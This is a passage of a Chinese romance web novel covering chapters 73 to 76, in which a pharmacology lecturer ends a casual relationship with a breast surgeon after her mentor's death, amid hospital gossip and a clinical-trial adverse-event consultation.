虽然有人放弃了,但还有…… 何婷婷摸了摸鼻子说:“从你在我们这做手术的时?候, 我就发现他对你格外照顾。他那个人最烦应酬,从来不主动张罗,但是我们科室聚会的时?候, 他点名让我叫你们去。那天做游戏时?也很奇怪,他从来不八卦别人,我给他的纸条上明?明?写的不是那个问?题,但他偏偏对你的过往情史那么感兴趣, 而且那天他还破天荒的唱了首歌。我听宋医生说,他都没听过老?板唱歌,但他那天唱了, 肯定是因为你在。” 谢一菲在最初的惊讶和无措过后很快就冷静了下来。她想到了那一晚,意外发现那晚的很多细节她都还记得很清楚。那些细节让她一度怀疑她是走进?他心里的人, 如今再想起自己当时?那种想法?,都觉得可笑。 何婷婷继续道:“后来去护士长家吃饭那次就更明?显了, 我猜你俩当时?就约好了吧, 只是没想到遇上了我们。太多蛛丝马迹了, 我八卦嗅觉这么敏锐,早就该察觉到的,就是因为他从来不和工作有交集的人谈恋爱这事让我先入为主了, 我才?没往那方面?想,直到网上那个照片发出来。小刘她们都没看出来,但我认出来了, 那条路就是那家超市门?前的小路。” 纸里包不住火,他们的关系能?瞒到现在已经很不容易了。 似乎是见?她没什么反应, 小姑娘更着急了:“先不说这些,他们传得那些瞎话你可千万别信!在你之前老?板身边确实不缺 女生,但我从来没听说过他脚踏两只船的, 而且我感觉他挺鄙视这种做法?的。所以他怎么可能?一边跟你好着,一边又带着别人去见?家长呢?就算那女生是他大学时?喜欢的人那也不能?说明?什么呀!这其中肯定有什么误会,你可千万别因为这个就不理他了。” 谢一菲刚才?就好奇何婷婷指的“传闻”是什么,这会儿她大概理清楚了。所以那晚,他说他去忙的家事和贺年年有关。 谢一菲笑:“谢谢你替我们保密,但是我们的关系可能?和你想的不一样。” 至少秦铮或许没有何婷婷想的那么在意她。 “而且,我也没有不理他。” 没有谁刻意不理谁,但她一直是个很被动的人,不知?道从哪一天开始,他突然就不再主动了,他们的关系也就冷却了。 见?她这反应,何婷婷无措道:“不是……谢老?师你怎么这个反应?我是不是说错什么了?怎么你看着好像更不高?兴了?” 谢一菲:“我没事。” 何婷婷欲哭无泪:“我不是怕你有事,我是怕我老?板有事啊!” …… 虞洁去世后,谢一菲也不像以前那样频繁地往医院跑了。 按照计划,这一次临床试验即将在5月份结题。在那之前的数据收集整理和分析工作基本已经完成了,剩下一些受试者的数据跟踪,谢一菲交给了明?德的人去做,而她要和这些志愿者的主治医生们一起完成项目的安全性和有效性评估。 这项工作她不是第?一次做,之前被王玉一家诋毁的时?候,她就做过一次。 当时?她还能?骄傲地给众人展示他们的成果,证明?他们研发的药物非但安全,而且无论?是对症状的改善,还是对疾病的缓解,甚至是延长生存期方面?都有很好的效果。 而此时?,看着虞洁的那份报告,她突然不那么自信了。 那些看似漂亮的试验结果是否可靠?有没有个体差异或者合并用药的影响?她开始怀疑她是否真的帮到了那些患者,开始怀疑高?昂的研发成本,几代人数十年的努力?,是否真的有意义。 从第?一次接触药学到如今,十几年了,她从来没有这么茫然过。 手机铃声忽然响了,是巧巧。 这段时?间发生了太多事,她和乐队请了个长假,不知?道巧巧这时?候找她会是什么事? 谢一菲接通了电话,下一秒,巧巧爽利的声音就传了出来:“你快来看看吧,某些人喝多了,在初涩呢!” 某些人? “是谁?” 巧巧别扭道:“还能?有谁?你别明?知?故问?了……我也是第?一次见?他喝成这样,你快来吧。” …… 所有人都看得出,秦铮最近这段时?间心情不好。宋良自认为是他关系最为密切的酒肉朋友,这种时?候必须要表现表现。 恰好两人下午上一台手术,手术一结束,宋良就把秦铮拉去了初涩。 今天舞台上唱歌的是巧巧,陪在她身边的只有他们乐队里那个留长发的键盘手。宋良这几次来都是这样,没有贝斯和架子鼓,巧巧走起了怀旧复古风。 此时?她正唱着一首90年代的老情歌,嗓音绵柔悠长,动作妩媚撩人,眼?神?缠绵悱恻,而跟她眉来眼去的正是那个键盘手。 作为一个情场老?手,宋良早察觉那俩人有点问题。果然,以前见?了秦铮眼?睛都挪不开的人,今天看都没往这边看一眼?。 “啧啧,你看女人多狠心,说变心就变心,你可得管好谢老?师。” 提到谢一菲,秦铮也没接话,而是又给自己倒了杯酒。 “你今天没少喝啊。”宋良敏锐地察觉到不寻常,憋了好久的问?题也憋不住了,“你和谢老?师之间不会出什么事了吧?” 秦铮懒懒地答:“能?有什么事?” “内个……我听到个离谱的传闻,你想不想听?” 秦铮瞥他一眼?:“我说不想听,你能?忍着不说吗?” “不能?。”宋良八卦兮兮地凑近秦铮,“有人看到你带着你的‘白月光’去见?你爸了,还说你是浪子回头,要收心了。” 秦铮蹙眉:“什么白月光?” “白月光你都没听说过啊?你可真没文化!张爱玲的小说《红玫瑰与白玫瑰》看过没,说每个男人都有两个女人,一个红玫瑰一个白玫瑰,娶了红玫瑰,红的就变成墙上的蚊子血了,白的还是白月光,那要是娶了白玫瑰,那白的就成了米饭粒,红的还是心口上的朱砂痣……” 秦铮不耐烦道:“我问?你,谁是白月光?” “哦,就你们篮球队那学弟的女朋友,当年金融学院的院花贺年年啊。” 见?秦铮似乎还是不明?白,宋良从手机里翻出前几天刚看过的帖子给他看:“咱们学校论?坛有个帖子你记得不?就是有人拍到你俩在图书馆门?前躲雨,还以为你俩是一对,大家就揣测,说她是你求而不得的白月光。” 秦铮看了一眼?就兴致缺缺地推开:“吃饱了撑的。” “反正这帖子已经在你们科室里广泛流传了。” “所以呢?” 宋良摊手:“所以谢老?师肯定也看到了呗。这段时?间贺年年不是总来找你吗?你说谢老?师会不会误会什么?要真是误会了,你可得赶紧给人解释解释。” 秦铮去拿酒杯的动作顿了顿。就像宋良说的,正常人看到这些就算不会怀疑,也会来问?一下吧。可他一想到谢一菲那张总是冷冷清清的脸,就觉得宋量这想法?都是多余的。 她根本就不在意这些。 “跟这没关系。” “不可能?!你可别想瞒我,这段时?间你看看你自己什么样?就像别人欠了你八百万似的,你敢说跟谢老?师没关系吗?” “那也跟这帖子没关系。”秦铮喝了口酒说。 宋良不解:“那你这一天天的这么丧是为什么?” 沉默了片刻,秦铮说:“因为无能?为力?。” 无能?为力?。 他们当医生的,最怕这四个字,偏偏医生的使命就是要挑战这四个字。 宋良怔了怔,然后故作轻松地说:“她师母那事都过去多久了,你又不是第?一天当医生,心态怎么还不如你学生呢?” 秦铮是个很少对别人剖白自己的人,今晚或许是因为酒精在作祟,也或许是因为他太需要一个情绪宣泄的出口,所以在面?对是哥们儿又同是医生的宋良时?也就没再藏着掖着。 他说:“以前每次这种时?候,我就很害怕面?对家属,这次换成了她,我就更不知?道该怎么面?对了。” 刚才?还嬉皮笑脸的宋良这会儿也沉默了,天天和癌症病人打交道的人,他怎么会不理解这种感受,可是他还是不能?看着兄弟陷在这种情绪里。 他说:“你尽力?了,这就够了。我能?理解你,谢老?师肯定也能?理解。” 秦铮微哂:“我是尽力?了,正是因为我知?道我尽力?了,我才?更不知?道还能?干点什么。” 宋良太能?体会这种感觉了,他们科有个疼痛病房,专门?收治那些癌症晚期的患者,每次看着他们痛苦的样子,他都会陷入自我怀疑中,也会觉得自己特别无能?。 宋良叹气:“人都有那么一天,或早或晚,你要是轻轻松松就把人给救了,那不是跟老?天爷对着干吗?” 秦铮看向宋良:“不能?跟老?天爷对着干,那你说,这十年究竟有什么不一样了?” 宋良忽然不知?道该怎么回答这个问?题了。 他最怕秦铮提十年前,十年前的秦铮是什么样他可还记得,绝对不是现在这个虽然有点冷,但有理想有抱负,还能?对人彬彬有礼的秦医生。 十年前的他,阴郁、暴躁、颓废,一言不合就能?和人动手,好像全世界都欠他的。起初他觉得这人就是被家里惯坏了,一次偶然的机会才?了解到事情背后的真相。 他们一个共同认识的朋友说,秦铮以前性格也算不上多好,但也不至于这么“另类”,只因为发生了一件事,那事成了那个18岁少年心上的一个结。 后来,宋良看着秦铮渐渐从那个泥沼中爬出来,开始专注学业, 也变得合群了,除了花边新闻多了点,没有人再说他不好。 宋良一度以为,当年的事在他那里已经过去了,直到这一刻。他忽然就理解了他——因为谢一菲的缘故,虞洁对秦铮的意义变得非比寻常,所以虞洁的离开相当于揭开了秦铮那道陈年的伤疤。 宋良又是心疼兄弟,又是恨铁不成钢:“你这问?题我都懒得回答你!十年了,你说有哪不一样了?!十年前我还是个处男,十年后都有姑娘给我买马应龙让我抹抹眼?角上的褶子了!十年啊,什么都在变,各行各业哪个不是日新月异的?就说乳腺癌的治疗方面?,无论?是治疗手段和疗效上,都有很多显著的进?步,但你非要说这些都没改变她们早早离开的命运,那我真的无话可说了,因为这不是你我的问?题,这是医学的困境!是公众期望和现实的差距!有人被治愈,也有人离开,过去多少年是这样,未来的多少年也会是这样!我们的前人都经历过这个过程,虽然有人放弃了,但还有人在坚守!” 宋良激动地吼完,忽然发现面?前人靠在沙发上,一手搭在眼?睛上,一点反应也没有。 他试探地伸手推了推,秦铮这才?抬起手淡淡瞥他一眼?,那迷迷蒙蒙的样子,一看就是刚才?睡着了。 “艹!”宋良来气了,难得刚才?情绪那么饱满,白酝酿了! “行了行了,别喝了,回家回家!” 宋良刚站起身,忽然注意到他们卡座外立着个人影。 第74章 第 74 章 “我喜欢安稳,但你是冒…… 看清来人的脸, 宋良舌头不自觉就?打结了:“弟弟弟妹呀,这是来演出的还是来喝两杯的?” 秦铮顺着宋良的视线转过头,就?看到了多日未见的谢一菲。不对, 见到过,但每次都是匆匆一眼?,在办公室走廊,在医院食堂……他们各忙各的, 好像突然就?变成了两道不会相交的平行?线。 “你怎么这时候来了?”话一出口,他才发?现自己?的声音有点哑。 谢一菲扫了眼?满桌的酒瓶,又看向面前的男人, 虽然是坐着也?能看出他身高腿长身材优越,那?张冷峻的脸上即便带着厌世的表情也?依旧能让无数女孩为之着迷, 可是那?双如深潭的眼?眸中?却没有了光彩。 看来真没少喝。 她错开视线,捡起他掉在地上的外套, 掸了掸上面的灰尘:“我叫的代驾已经到门口了, 走吧, 回家。” 男人依旧一瞬不瞬地看着她。就?当她以为他要拒绝的时候,他忽然晃晃悠悠地站起身来,还没等她回过神来, 他长臂一身直接揽过她的肩膀。这像是他站不稳要借她的力,更像是他单纯地想要把她揽进怀里。 宋良还在旁边看着,谢一菲有点不自在。她推开他退出他的怀抱, 只让他的手臂搭着她的肩膀,再回头看向宋良。 宋良一副不知道手脚该往哪放的样子, 看着像是想来帮忙又犹豫的模样。 说实话谢一菲对宋良是有点埋怨的,就?两个人喝酒,他还能让秦铮一个人喝这么多, 所以她也?没多聊的意?思,只是打了个招呼就?搀扶着秦铮离开了。 从初涩离开到上了车,这一路上秦铮一句话也?没说,他的脚步虽然有点虚浮,但她看得出,他没有完全喝醉,否则单凭她一个人,也?没办法把他塞上车。 但是他肯定也?没少喝,刚才那?一桌空酒瓶就?能说明这一点了。她很想问问他出了什么事,转过头发?现他正看着窗外出神,于是她也?打消了说话的念头。 车窗外,城市的夜景飞速后退。各式各样的巨大?霓虹之下,年轻的男女们在肆意?的聊天?笑闹。 这条街谢一菲很熟悉,四?季流转,好像一直是那?几家店和那?几个年轻人。可是她知道,这只是她的错觉,一切都在变,在她看不见的地方?悄无声息地发?生着变化。而就?是这些细微的变化在悄悄堆积、蔓延,最后导致一条生命或者一段关系走向尽头。 到了他家,她把他扶到卧室躺下,可能是真的醉了,倒在床上后,他就?没再睁开过眼?,只是他的眉头依旧微蹙着,让人不确定他是否真的睡着了。 谢一菲本打算立刻就?走,可看到他这样子,又没忍心。 他家还是她上次来时的样子,只是不像之前那?么整洁了。客厅茶几上有半罐没喝完的啤酒,厨房中?岛台上有用过没洗的水杯。打开冰箱,除了啤酒什么都没有。可见他最近过得也?不算好。 为什么呢?她已经过了自作?多情的年纪,不会认为是他们关系的疏远让他如此。她知道,男人如果真的放不下一个人,那?他会千方?百计地靠近,甚至可以完全不顾对方?的想法,像他们重逢最初时一样。 所以如果他此时的颓丧跟她有关,那?也?只是他在彷徨、在犹豫,而她已经被?人放在了可以放弃的那?个选项上。 她洗干净水杯,倒了杯温水放在他床头,正打算离开,手腕忽然被?人拉住,他不知道什么时候已经醒了。 “要走了?”他问。 “嗯。” “今晚能不走吗?” 谢一菲正想拒绝,他又说:“我不太舒服。” 她这才注意?到,他握着她的手格外的热,说话时的声音也?有点嘶哑。 刚才她把他从初涩搀出来的时候,她就?觉得他的体温有点高,当时她还以为是喝了酒的缘故,而且他那?么大?个子,一半的重量压在她的身上,她已经累得满头大?汗了,也?就?没顾上其他,现在听他说不舒服,她才意?识到,他可能是生病了。 她连忙试了下他额头的温度,还真发?烧了,而且以她的经验看,少说38度。正常情况,成年人很少一下子烧到这个温度,这说明他应该早就?开始发?烧了。 谢一菲:“你不会明知道自己?发?着烧,还去喝酒吧?” 没有人回答她,被?质问的人又闭上了眼?睛。 谢一菲无奈,看来她今晚是真的走不了了。 他刚喝了酒,她不敢随便给他吃药,就?只能物理降温。 帮他脱衣服的过程中?,他又醒来了片刻,当时她正在和他衬衫上的扣子较劲,她垂眸看着她,眼?睛湿润明亮,眼?神温柔又缱绻,但她知道,那?是发?烧所致,一切都是假象。 她每过一段时间就用湿毛巾给他擦脸和身体,到了后半夜,他的烧总算退了,她这才去隔壁的客房休息。 可能因为太累了,这一觉睡得格外沉,第二天?太阳高照才醒来。想起自己?这是在秦铮家,她连忙坐起身来。 怕他晚上出什么事她听不见,昨晚临睡前,她特意?没有关他的房门。一进门,就?看到他坐在床边,似乎也?是刚醒。 看到她,秦铮怔了怔:“你不是走了吗?” 她过来是想看看他烧退了没,听到他这赶客的语气?,她都后悔自己?昨晚留下来。 她说:“马上就?走,过来跟你打个招呼。” 秦铮手肘撑在膝盖上,手指揉了揉太阳穴:“我不是那?个意?思。” 他说话声音还是沙哑的,甚至比昨晚更严重,明显病还没好。 “那?我也?得走了,学校里还有点事。”她稍稍停顿了一下,还是嘱咐了一句,“床头柜上有水,你喝点吧。” 说完,她就?转身要离开,他却又叫住她。 “谢一菲。” 秦铮很少这么连名带姓地叫她,这让她不由得停下了脚步。 男人的声音从身后传来:“你在对我发?脾气?吗?” 谢一菲深吸一口气?:“我能有什么脾气??” “那?就?是了。”他声音微哑,还带着点无奈的笑意?,“你在对我发?脾气?。” 谢一菲不确定自己?哪句话哪个行?为让他觉得她在发?脾气?,但是她也?不能回避,他们之间好像确实出了点 问题,具体说不上是什么样的问题,或者说是她不愿意?去深想。总之这样的关系堵得她胸口滞闷,很不舒服。 虽然以前也?总想着结束,但这段时间那?个念头冒头的频率好像格外的高。 过了片刻,她转过身看着他:“你是医生,有人发?着烧还去喝酒,你生不生气??” “所以你是因为这个生气??” 谢一菲没回答这个问题,她错开视线:“二期试验快结题了,有很多报告要写,这段时间我就?不去医院了。” 秦铮没有说话,像是在等着她继续说下去。看来他也?不想再逃避他们之间的问题了。 谢一菲顿了顿继续道:“咱俩也?不会像以前那?样频繁见面了。” “你到底想说什么?” “我想回归正常的生活了。”话说出口,心里忽然就?松快了,却又有丝丝的酸楚漫上心头。 对她的话,他似乎并不意?外,但是他说:“你现在的生活哪里不正常了?” “我就?想像我们重逢以前那?样,安静地搞搞教学,做做科研……” 秦铮打断她:“这些和你接下来要说的话有关系吗?” “有。我喜欢安稳,但你是冒险。” 秦铮沉默了。 谢一菲索性?把话说得更决绝一点:“我们的关系本来就?是玩玩,不想玩了,应该随时可以退出吧?” “你是这么认为的?”他问她。 简简单单的一句问话,是他给她搭的最后一架梯子。她可以顺着梯子走下去,埋怨他对她有所隐瞒,对她忽冷忽热,顺理成章地把刚才要退出的话归结为是气?话。 但她偏偏选择直接跳下去,哪怕粉身碎骨,也?不再回头。 “不然呢?” 两人对望着彼此,气?氛忽然变得很紧张,好像随时都有崩坏的可能。 就?当她以为两人最后的体面也?难保时,他忽又缓和了神情。 他起身走向她,微哑的嗓音中?透着罕见的温柔:“宋良说你可能因为科室里的那?些传闻在生气?,是这样吗?” 她以为以他的脾气?,女生但凡表现出一点不情愿,他都不会强求。可是他们话都说到这份上了,他却还在试图挽留。 她仿佛看到了那?个清醒的她正鄙夷地看着那?个摇摆不定的她。 秦铮:“那?帖子是别?人乱发?的,我也?没带什么人去见家长,虞老师去世那?晚我确实有事脱不开身,不过不是他们说的那?样,你想知道的话我可以……” “我不想知道。”谢一菲直截了当地打断他,“真的。” 他如果愿意?说,他早就?说了。其实她也?不相信那?些传闻,不相信他能一边和她谈着,一边又带别?的姑娘去见家长,但她已经失去了猜他想法的兴趣,她是对他们这段飘摇不定的关系失去了耐心,她更是怕了,怕泥足深陷,怕得到又失去,怕重蹈十年前的覆辙,怕吃爱情的苦…… 可是她没办法把这些想法说给他,他们的关系在她不受控制的动心的那?一刻起就?不平等了,说好的“玩玩”,她没有做到,那?么她自请退出。 她决绝的态度似乎让他有点意?外。 秦铮:“那?是为什么?” 谢一菲:“一两句话说不清楚。” “那?就?别?只说一两句。” 谢一菲想了想,不知该从何说起,十年前吗? 她放弃了:“算了。” 秦铮:“其实是因为虞老师吧,你在怪我?” 不管他对待感?情多么不认真,但她承认他是个好医生。她知道他尽力了,但是她也?承认,虞洁的离开确实让她心里很乱,也?让他们的关系雪上加霜。 她前所未有的迷茫,对所学所做,还有所爱之人,她发?现她一点都不了解,也?没有能力掌控他们,哪怕一丝一毫。所以她现在只想让一切归零。 “我没有,相反,我比谁都了解你,你尽力了。” 在这件事上,他们有着一样的处境。谢一菲虽然还无法对自己?释怀,却可以理解秦铮。 秦铮笑了:“又是‘尽力’了……” 谢一菲一时间无法理清他这话里的意?思,但看着这样的秦铮,她的心忽然就?抽了抽。 谢一菲:“她的离开让大?家都不好受,我知道你也?是。” “所以是因为这个吗?你因为虞老师的事心情不好?” 是,但又不是他想的那?样。 见她不说话,秦铮说:“你心情不好我们可以过段时间再谈。” “不用了。”她本来就?不是在闹情绪,那?么长痛不如短痛,“当初我之所以答应跟你……玩玩,也?只是因为得知师母生病,秦一鸣出轨,我心情不好,想放纵一下……” 秦铮烦躁打断她:“所以虞老师不在了,就?该结束了?你还说你没有在怨我?!” 谢一菲无奈:“我和你说不通。总之这就?是我的意?思,过段时间也?不会改变。” 说完她不再停留,拿了自己?的东西,快速地离开了他家。 听到玄关处传来的关门声,秦铮重新坐回了床上,因为动作?太大?,引得他不住地咳嗽起来。 好不容易缓了过来,看到床头柜上的那?杯水,端起喝了一口,早就?凉透了。 他从来没见过这么狠心的女人,无论是十年前还是十年后,都没有哪个人能比她更狠心。 秦铮越想越气?,一气?之下,狠狠摔了杯子。玻璃杯顿时四?分五裂,就?和他们这段支离破碎的关系一样。 …… 第75章 第 75 章 “看来是真没戏了。”…… 早上出门时天就阴沉沉的, 但谢一菲抱着一丝侥幸并没有带伞。结果两节课后?,小雨已?经有转成中雨的迹象了。 好在教学?楼离实验楼不算远,她一路边往回赶边躲雨, 等?进了实验楼,裤腿也都湿了。 正在这时,她的手机响了。她狼狈接通,是她留在医院帮忙的学?生小俞。 “谢老师, 有个患者?出现呕吐症状,医院怀疑是用?药引发的不良反应,想请您过?来一趟。” 谢一菲蹙眉:“这都快结题了, 还有新入组的患者?吗?” “不是新入组的,这个患者?用?药两个多月了。” 谢一菲边往办公室走边问:“其他?可能的情况排查没有?怎么确定是药物引起的?如果是, 那类似的情况两个月前就该出现了。” 小俞委屈道:“我也是这么说的,但医院这边说不排除是蓄积不良反应。” 照这么说, 不能排除的可能太多了, 实实在在的医生不会?这么说, 别是想甩锅吧。 “谁说的?”谢一菲问。 “秦医生。” 听到秦铮的名字,谢一菲停下脚步,迟疑了一下问:“患者?呕吐很严重吗?” “不严重啊, 早上吐过?一次,吐了就好了。” 谢一菲松了口气?:“我知道了,把患者?的治疗方案和最近一次的复查结果发给我, 我这就过?去。” 谢一菲从实验室拿了伞,又到校门口去打车。赶到医院时, 裤子膝盖往下已?经全部湿透了,贴在小腿上冰冷刺骨。鞋子里也全是水,每走一步, 就会?在地板上留下一个湿漉漉的脚印。 外科大楼里的空气?窒闷又潮湿,电梯里就更是这样,还有一些?让人不太舒服的味道。谢一菲从反光的电梯门板上看到了自己的脸色,很差。 遇上这样的天气?和这样的糟心事,给谁谁也笑不出来。 “叮”的一声,电梯停在乳腺外科的楼层,谢一菲收敛思?绪,直接去了秦铮办公室。 来的路上,小俞发来的报告她已?经仔细看过?了。单从报告上看,很难得出患者?这次的不良反应和试验有关?。当然,非要严谨一点的话?,也不能完全排除是试验的原因,只是这种可能性?非常小,至少比吃坏东西的可能性?小很多很多。 她不信秦铮想不到这些?,那就只有一种可能,他?是故意的。 他?们分手一个月了,不得不说他?是个很合格的前任,这一个月里,他?完全没有打扰她,安静地躺在她的联系人列表里,一点存在感都没有。她的生活就像她所期盼的那样,又回到了他?们重逢之前,一切按部就班,一切有规律可循。再没有意外,没有人能轻易牵动她的心弦。 但她不知道今天是怎么回事,听了小俞的转述,怎么看都觉得是他?在有意为难她。难不成一个多月的时间才让他?回过?神来——发 现她是真的下定了决心和他?断了,这让一向无往不利的秦医生很不甘心,所以才专挑在这种鬼天气?遛着她玩?否则,她也再想不出其他?的理由了。 此时,患者?家属正好也在秦铮办公室。大概是她模样实在狼狈,患者?家属连说抱歉,麻烦她专程跑一趟。 见了她,秦铮先是怔了怔,然后?起身拿了条毛巾给她。 谢一菲心里对他?有气?,故意没接,直接问患者?家属:“您母亲现在怎么样了?” “现在好多了。”患者?家属飞快瞟了一眼那条没送出去的毛巾,讪讪笑着。 秦铮没事人一样,把那条毛巾放回原处,对患者?家属说:“既然谢老师来了,那您对用?药方案还有什么顾虑和疑问,都可以再好好咨询一下。” 果然有点来者?不善的意味。 所幸患者?家属咨询的几个问题还算常见,谢一菲都一一作答了。 谢一菲说:“您母亲明显有交叉用?药的情况,如果是药物引起的不良反应,暂时也不能确定是哪款药引起的。而且出现呕吐的原因会?比较复杂,不一定是药物引起的,吃了什么不干净的东西,或者?着凉都有可能。一般情况下,我们这款药的副作用?是比市场上同类药物的副作用?小的,而且就算有也多出现在用?药初期。当然了,不完全排除蓄积不良反应的情况,如果实在不放心,可以先停药。不过?,从复查指标上看,您母亲对我们这款药非常敏感,治疗效果显著,这时候停掉有点可惜。” 说着,她看向秦铮:“所以,具体要怎么做还是听主治医生的吧。” 球又踢回了秦铮脚下,她不信他?会?拿患者?的治疗方案作为代价来为难她。 秦铮笑了笑,对患者?家属说:“您看,谢老师来了也是这么说。” 这话?什么意思?,难道她来之前他?就已?经这么跟患者家属说过了? 患者?家属连连点头:“我不是不信任医院,也不是不信任谢老师,但我母亲年纪大了,小病小灾的也经受不起,我就怕再出现类似情况,所以就想当面咨询一下谢老师,这才麻烦谢老师跑这一趟。” 这么说是患者?家属执意要见她,而非秦铮故意让她跑一趟,之前是她小人之心了。 谢一菲也说不清自己此刻是什么样的心情。该如释重负的,毕竟这才是真正的他?,拿得起放得下,可是她的心里却泛起点点酸涩来。 她把今天这一系列的心理变化归结为天气?的原因。因为天气?太糟糕了,才让她变得这么浮躁。 秦铮:“我理解您的心情,所幸您母亲的症状不是很严重,用?不着过?分紧张。可以先观察一下,如果症状没有得到缓解,我们再采取措施。” 患者?家属总算放心离开了。 秦铮起身去给谢一菲倒了杯热水。 四月的北京还算不上多暖和,一下雨温度就更低了,此时的谢一菲浑身冰冷,急需一点温暖,但她还是说:“不用?了,我是临时从学?校赶过?来的,下午还有事。” 她说要走,他?像是听见了,却又像是没听见,坚持把那盛了半杯热水的一次性?纸杯递到了她的手里,也顺便挡住了她的去路。 他?看着她说:“当初入组前你和患者?家属聊过?,她们遇到问题不放心,这才非要见你。” 很明显,他?听出了她话?里的埋怨。 谢一菲也说不清为什么在搞清楚来龙去脉后?她还是忍不住抱怨,大概真是天气?的原因吧。 “我知道。”她握着那水杯,并没有喝,但却能感受到那热量正透过?她的手心一点点传递到她的全身。 秦铮顿了顿,换了个话?题:“最近,还好吗?” 从分手的那一刻起,谢一菲就只想把他?当成一个普通的同事来对待,所有过?激的态度都是她对过?去耿耿于怀的佐证。 他?可以风轻云淡地面对她,那么她为什么不可以? 谢一菲就当这是在和一个普通的故人寒暄,随口敷衍道:“还行?吧,有点忙。” 秦铮点点头:“月初的时候周主任摔了一跤,科里的事特别多……” 谢一菲以为他?要跟她聊工作,可等?了半天又没了下文。 秦铮抬手看了眼时间:“快十二点了,下午有事中午也得吃饭吧?要不就在这吃吧?” 谢一菲果断拒绝:“不用?了,我真没时间,回学?校的路上顺道吃点就行?。” 秦铮又说:“雨天不好打车,那我送你。” 说着他?脱掉白大褂打算换衣服出门。 谢一菲一听头都大了,把水杯放去旁边的桌子上,装模作样地拿出手机来看:“真不用?了,我已?经叫好车了。” 秦铮穿好外套看着她,脸上温和的情绪早已?荡然无存:“什么时候叫的?订单在哪我看看。” 谢一菲:“……” 谢一菲索性?收起手机,抬头看着他?:“你不觉得你有点越界吗秦医生?” “那你呢?”秦铮问,“有必要这样吗?” 他?都这么说了,谢一菲也懒得装了,索性?坦白说:“我也不喜欢这样,那就直白点说。我不知道你是怎么处理这种关?系的,但我是没办法?和前任做朋友的。” “然后?呢?” “既然分开了,那能不见还是不见吧。今天是工作需要那没办法?,除此之外,咱们还是保持距离的好。” 多年后?再一次和他?分开,虽然不至于像年少时那么伤筋动骨痛彻心扉,但心里还是难受的。她承认自己对他?是有感情的,既然有感情,要割舍哪那么容易? 所幸成年人的世界很复杂,她要做的事该做的事有很多,哪一件都比情情爱爱的事重要,它们让她无暇去悲春伤秋。而且十年之后?的她比之前更理智,也更懂得克制,理智地告诉自己她和他?不会?有未来,克制自己不要回头看. 谢一菲离开了,却在秦铮这放了把火。 想到她对他?避之不及的样子,秦铮既生气?又无奈,难怪她今天进门时脸色那么难看,不就是要见他?吗?又不是让她见阎王!最可笑的是,今天除了患者?家属想见她,其实他?也想见他?。 和她比起来,他?对她的放不下简直比街边两元店里的东西还廉价。 正在这时,办公室的门再度被人敲响,他?以为是谢一菲落下了什么东西,下一秒就见门口探进来一个毛茸茸的脑袋。 秦铮从来没有哪一刻像现在这样这么嫌弃自己这独苗学?生,所以开口时语气?也不怎么好:“有事吗?” 何婷婷没察觉到此刻老板心情不佳,笑嘻嘻地挤进办公室,神神秘秘地说:“我刚才看到谢老师了。” 秦铮压着火气?,重新换上白大褂:“患者?家属叫她来的。” 何婷婷一副“我懂”的神情:“我看她心情挺不错的,你们和好了?” 秦铮停下动作:“你说什么?” 何婷婷这才注意到老板的脸色不太对劲,她犹犹豫豫地重复刚才的话?:“我说谢老师看着心情挺好的,你们应该和好了吧?” “没事干了?” “不是……我……”一向伶牙俐齿的何婷婷难得语塞,生硬地转移话?题,“老板您是要出门吗?” 秦铮:“……” 秦铮:“出去。” “哦。”何婷婷委屈巴巴,临走前还不怕死地丢下一句,“看来是真没戏了。” 秦铮烦躁地闭了闭眼,还好那丫头跑得快,不然他?真想好好问问她,知不知道什么叫尊师,见过?哪家学?生这么跟导师说话?的? 正心烦,忽然注意到门口的角落里放着一把湿淋淋的红格子雨伞,他?记得,那是谢一菲进来时拿在手上的。 第76章 第 76 章 被表白该是件值得高兴的…… 秦铮转身看了眼?窗外, 雨丝密集,雨势似乎比刚才更大了…… 谢一菲离开?没多久,应该没有走远, 而且没带伞就?更走不远了。 等他在回过神?来时,他已经拿着伞出了办公室,早忘了就?在片刻前,他还在想着再不会找她。 下到一楼大厅, 果然看到了玻璃门外有一道熟悉的身影。他正要走出去, 忽然发现她身边还有个人。 电动感应门开?了又合上,他站在一门之内, 看着门外的台阶下顾逸撑着一把大伞,等着谢一菲步入伞下。 “秦医生?” 秦铮回过神?, 见是住院部的保安。 “您要出去吗?” 他这才意识到自己挡在了门口。 “不是。” 保安尴尬看着一开?一合的感应门:“那您这是?” 秦铮看了眼?手里的伞:“捡了把伞。” 说着,他把手里的红格子雨伞递给保安, 转身离开?:“看看一会儿有没有人来找吧。” “好的, 秦医生。”. 谢一菲下了楼才发现伞落在秦铮办公室了, 但她又不想回去拿。正琢磨该怎么办,忽然听到有人叫她的名字。 这段时间顾逸约她好几次,她都?找理由?推拒了, 没想到今天这么巧,在医院遇到。 顾逸见到她很惊喜:“我还以为我看错了,还真?是你, 没带伞吗?” 谢一菲含糊点点头。 顾逸:“你不是说你那项目结题了不用来了吗?” “哦,有点突发状况, 过来处理一下。你呢?” “也差不多。” 顾逸看了眼?时间:“饭点了谢老师,既然这么有缘遇上了,就?一起吃个饭吧?” 谢一菲之前已经拒绝顾逸太多次了, 这次实在没什么理由?,而且在这种鬼天气?里奔波了一个上午,她也有点饿了。 谢一菲问:“那你想吃什么?我请客。” 顾逸撑开?伞走下台阶,示意她跟来:“走吧,边走边想。” 谢一菲踟蹰了一下,走到了他的伞下. 秦铮搭乘扶梯上楼,但一直能看到大门口的画面,他的耳边仿佛还回荡着刚才谢一菲拒绝他的话。虽然早知道那都?是托词,只是没想到,她所谓的“有事”是和顾逸约会。 “这画面怎么有点似曾相识?” 身边忽然冒出来的声音打断了秦铮的思绪。 他回过头,看到说话的人不由?得笑了:“你怎么来了?” 蒋禹涵无奈耸耸肩:“年年的同?事复查,我当司机。” 秦铮问出了困扰他很久的问题:“她那同?事到底和她什么关系,年龄差着二?十来岁呢吧,也不像闺蜜,她怎么那么上心,三天两头地往医院跑?现在连带着你这个准上市公司的老板也在上班时间跑出来充当廉价劳动力?” 蒋禹涵:“人家现在是她们公司工会的骨干,公司上到老板,下到实习生,谁家猫下了崽她都?得去关心一下公母。” 秦铮笑:“她知道你这么说她吗?” “不知道,如?果知道了,肯定是你说的。对了……”蒋禹涵朝着谢一菲离开?的方向扬了扬下巴,“就?是她吧?” “谁?” “跟我还装!我们‘工会骨干’早打听清楚了,你在医院有个绯闻女?友,就?是之前和你一起上热搜那姑娘吧?据说你挺把人家当回事。”话说一半,蒋禹涵又顿了顿,“不过我怎么感觉你这回要悲剧呀,刚才那男的是谁?” 